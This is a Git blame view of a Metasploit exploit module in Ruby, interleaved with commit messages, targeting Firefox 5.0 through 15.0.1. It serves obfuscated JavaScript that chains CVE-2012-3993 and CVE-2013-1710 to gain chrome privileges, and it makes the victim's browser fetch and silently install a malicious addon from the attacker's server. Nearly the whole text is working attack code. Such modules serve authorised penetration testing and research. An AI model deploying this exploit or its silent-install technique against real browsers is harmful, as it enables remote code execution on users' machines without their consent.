infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
metasploit-framework/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb

140 lines
4.5 KiB
Ruby
Raw Normal View History

It helps to actually commit the exploit.
2013-12-18 20:31:42 +00:00
##
Fix up comment splats with the correct URI See the complaint on #4039. This doesn't fix that particular issue (it's somewhat unrelated), but does solve around a file parsing problem reported by @void-in
2014-10-17 16:47:33 +00:00
# This module requires Metasploit: http://metasploit.com/download
It helps to actually commit the exploit.
2013-12-18 20:31:42 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
use MetasploitModule as a class name
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
Clean up code. Test version support. * Using #get in Object#defineProperty call makes the payload execute immediately on all supported browsers I tested. * Moved Ranking to Excellent since it is now 100% reliable.
2013-12-19 02:30:08 +00:00
Rank = ExcellentRanking
It helps to actually commit the exploit.
2013-12-18 20:31:42 +00:00
Update module to use sinn3r's beautiful browserexploitserver.
2013-12-19 18:49:24 +00:00
include Msf::Exploit::Remote::BrowserExploitServer
Fix both firefox js exploits to use browser_autopwn.
2014-01-11 23:34:38 +00:00
include Msf::Exploit::Remote::BrowserAutopwn
It helps to actually commit the exploit.
2013-12-18 20:31:42 +00:00
include Msf::Exploit::Remote::FirefoxAddonGenerator
Fix both firefox js exploits to use browser_autopwn.
2014-01-11 23:34:38 +00:00
autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "5.0",
:ua_maxver => "15.0.1",
:javascript => true,
:rank => NormalRanking
})
It helps to actually commit the exploit.
2013-12-18 20:31:42 +00:00
def initialize(info = {})
super(update_info(info,
Update description with new version support.
2013-12-19 08:08:55 +00:00
'Name' => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution',
It helps to actually commit the exploit.
2013-12-18 20:31:42 +00:00
'Description' => %q{
Update description with new version support.
2013-12-19 08:08:55 +00:00
On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given
It helps to actually commit the exploit.
2013-12-18 20:31:42 +00:00
invalid input, would throw an exception that did not have an __exposedProps__
Clean up code. Test version support. * Using #get in Object#defineProperty call makes the payload execute immediately on all supported browsers I tested. * Moved Ranking to Excellent since it is now 100% reliable.
2013-12-19 02:30:08 +00:00
property set. By re-setting this property on the exception object's prototype,
It helps to actually commit the exploit.
2013-12-18 20:31:42 +00:00
the chrome-based defineProperty method is made available.
Clean up code. Test version support. * Using #get in Object#defineProperty call makes the payload execute immediately on all supported browsers I tested. * Moved Ranking to Excellent since it is now 100% reliable.
2013-12-19 02:30:08 +00:00
With the defineProperty method, functions belonging to window and document can be
overriden with a function that gets called from chrome-privileged context. From here,
another vulnerability in the crypto.generateCRMFRequest function is used to "peek"
into the context's private scope. Since the window does not have a chrome:// URL,
the insecure parts of Components.classes are not available, so instead the AddonManager
API is invoked to silently install a malicious plugin.
It helps to actually commit the exploit.
2013-12-18 20:31:42 +00:00
},
Move addon datastore options into mixin.
2013-12-18 20:42:01 +00:00
'License' => MSF_LICENSE,
Add a patch for 15.x support. * Also add authors i forgot, oops
2013-12-19 08:05:45 +00:00
'Author' => [
'Mariusz Mlynski', # discovered CVE-2012-3993
'moz_bug_r_a4', # discovered CVE-2013-1710
'joev' # metasploit module
],
Use the right disclosure date.
2013-12-19 18:58:52 +00:00
'DisclosureDate' => "Aug 6 2013",
Clean up code. Test version support. * Using #get in Object#defineProperty call makes the payload execute immediately on all supported browsers I tested. * Moved Ranking to Excellent since it is now 100% reliable.
2013-12-19 02:30:08 +00:00
'References' => [
['CVE', '2012-3993'], # used to install function that gets called from chrome:// (ff<15)
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],
['CVE', '2013-1710'], # used to peek into privileged caller's closure (ff<23)
Update module to use sinn3r's beautiful browserexploitserver.
2013-12-19 18:49:24 +00:00
],
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(5, 15) }
msftidy it up.
2013-12-19 18:53:58 +00:00
}
It helps to actually commit the exploit.
2013-12-18 20:31:42 +00:00
))
Move addon datastore options into mixin.
2013-12-18 20:42:01 +00:00
register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] )
], self.class)
It helps to actually commit the exploit.
2013-12-18 20:31:42 +00:00
end
Update module to use sinn3r's beautiful browserexploitserver.
2013-12-19 18:49:24 +00:00
def on_request_exploit(cli, request, target_info)
It helps to actually commit the exploit.
2013-12-18 20:31:42 +00:00
if request.uri.match(/\.xpi$/i)
Update module to use sinn3r's beautiful browserexploitserver.
2013-12-19 18:49:24 +00:00
print_status("Sending the malicious addon")
Update proto_crmfrequest module.
2014-01-02 16:46:57 +00:00
send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' })
It helps to actually commit the exploit.
2013-12-18 20:31:42 +00:00
else
Update module to use sinn3r's beautiful browserexploitserver.
2013-12-19 18:49:24 +00:00
print_status("Sending HTML")
2013-1710 - Use header VHOST info for redirection When this exploit is hit by hostname, the HTTP request contains a Host header field which does not match the IP-based redirection. Update the module to check request headers for host information, and fallback to the prior behavior if none exists. Tested in conjunction with #6611 DNS spoofer - works great, see issue #7098 for details.
2016-07-17 08:50:54 +00:00
res = generate_html(target_info,request.headers['Host'])
vprint_status res.to_s
send_response_html(cli, res)
It helps to actually commit the exploit.
2013-12-18 20:31:42 +00:00
end
end
2013-1710 - Use header VHOST info for redirection When this exploit is hit by hostname, the HTTP request contains a Host header field which does not match the IP-based redirection. Update the module to check request headers for host information, and fallback to the prior behavior if none exists. Tested in conjunction with #6611 DNS spoofer - works great, see issue #7098 for details.
2016-07-17 08:50:54 +00:00
def generate_html(target_info,refer)
Update module to use sinn3r's beautiful browserexploitserver.
2013-12-19 18:49:24 +00:00
injection = if target_info[:ua_ver].to_i == 15
"Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"
else
"p2.constructor.defineProperty(obj,key,{get:runme});"
end
2013-1710 - Use header VHOST info for redirection When this exploit is hit by hostname, the HTTP request contains a Host header field which does not match the IP-based redirection. Update the module to check request headers for host information, and fallback to the prior behavior if none exists. Tested in conjunction with #6611 DNS spoofer - works great, see issue #7098 for details.
2016-07-17 08:50:54 +00:00
if refer.nil? or refer.blank?
redirect = "#{get_module_uri}/addon.xpi"
else
Fix redirect url
2016-07-24 20:49:03 +00:00
proto = ((datastore['SSL']) ? 'https' : 'http')
redirect = "#{proto}://#{refer}#{get_module_resource}addon.xpi"
2013-1710 - Use header VHOST info for redirection When this exploit is hit by hostname, the HTTP request contains a Host header field which does not match the IP-based redirection. Update the module to check request headers for host information, and fallback to the prior behavior if none exists. Tested in conjunction with #6611 DNS spoofer - works great, see issue #7098 for details.
2016-07-17 08:50:54 +00:00
end
Add the JSObfu mixin to a lot of places.
2014-09-22 04:45:59 +00:00
script = js_obfuscate %Q|
Add a patch for 15.x support. * Also add authors i forgot, oops
2013-12-19 08:05:45 +00:00
try{InstallTrigger.install(0)}catch(e){p=e;};
var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
p2.__exposedProps__={
constructor:'rw',
prototype:'rw',
defineProperty:'rw',
__exposedProps__:'rw'
};
var s = document.querySelector('#payload').innerHTML;
var q = false;
var register = function(obj,key) {
var runme = function(){
if (q) return;
q = true;
window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 384, null, "rsa-ex");
};
Update module to use sinn3r's beautiful browserexploitserver.
2013-12-19 18:49:24 +00:00
try {
#{injection}
} catch (e) {}
Add a patch for 15.x support. * Also add authors i forgot, oops
2013-12-19 08:05:45 +00:00
};
for (var i in window) register(window, i);
for (var i in document) register(document, i);
Add the JSObfu mixin to a lot of places.
2014-09-22 04:45:59 +00:00
|
js_payload = js_obfuscate %Q|
if (!window.done) {
window.AddonManager.getInstallForURL(
2013-1710 - Use header VHOST info for redirection When this exploit is hit by hostname, the HTTP request contains a Host header field which does not match the IP-based redirection. Update the module to check request headers for host information, and fallback to the prior behavior if none exists. Tested in conjunction with #6611 DNS spoofer - works great, see issue #7098 for details.
2016-07-17 08:50:54 +00:00
'#{redirect}',
Add the JSObfu mixin to a lot of places.
2014-09-22 04:45:59 +00:00
function(install) { install.install() },
'application/x-xpinstall'
);
window.done = true;
}
|
%Q|
<html>
<body>
#{datastore['CONTENT']}
<div id='payload' style='display:none'>
#{js_payload}
</div>
<script>
#{script}
Add a patch for 15.x support. * Also add authors i forgot, oops
2013-12-19 08:05:45 +00:00
</script>
</body>
</html>
It helps to actually commit the exploit.
2013-12-18 20:31:42 +00:00
|
end
end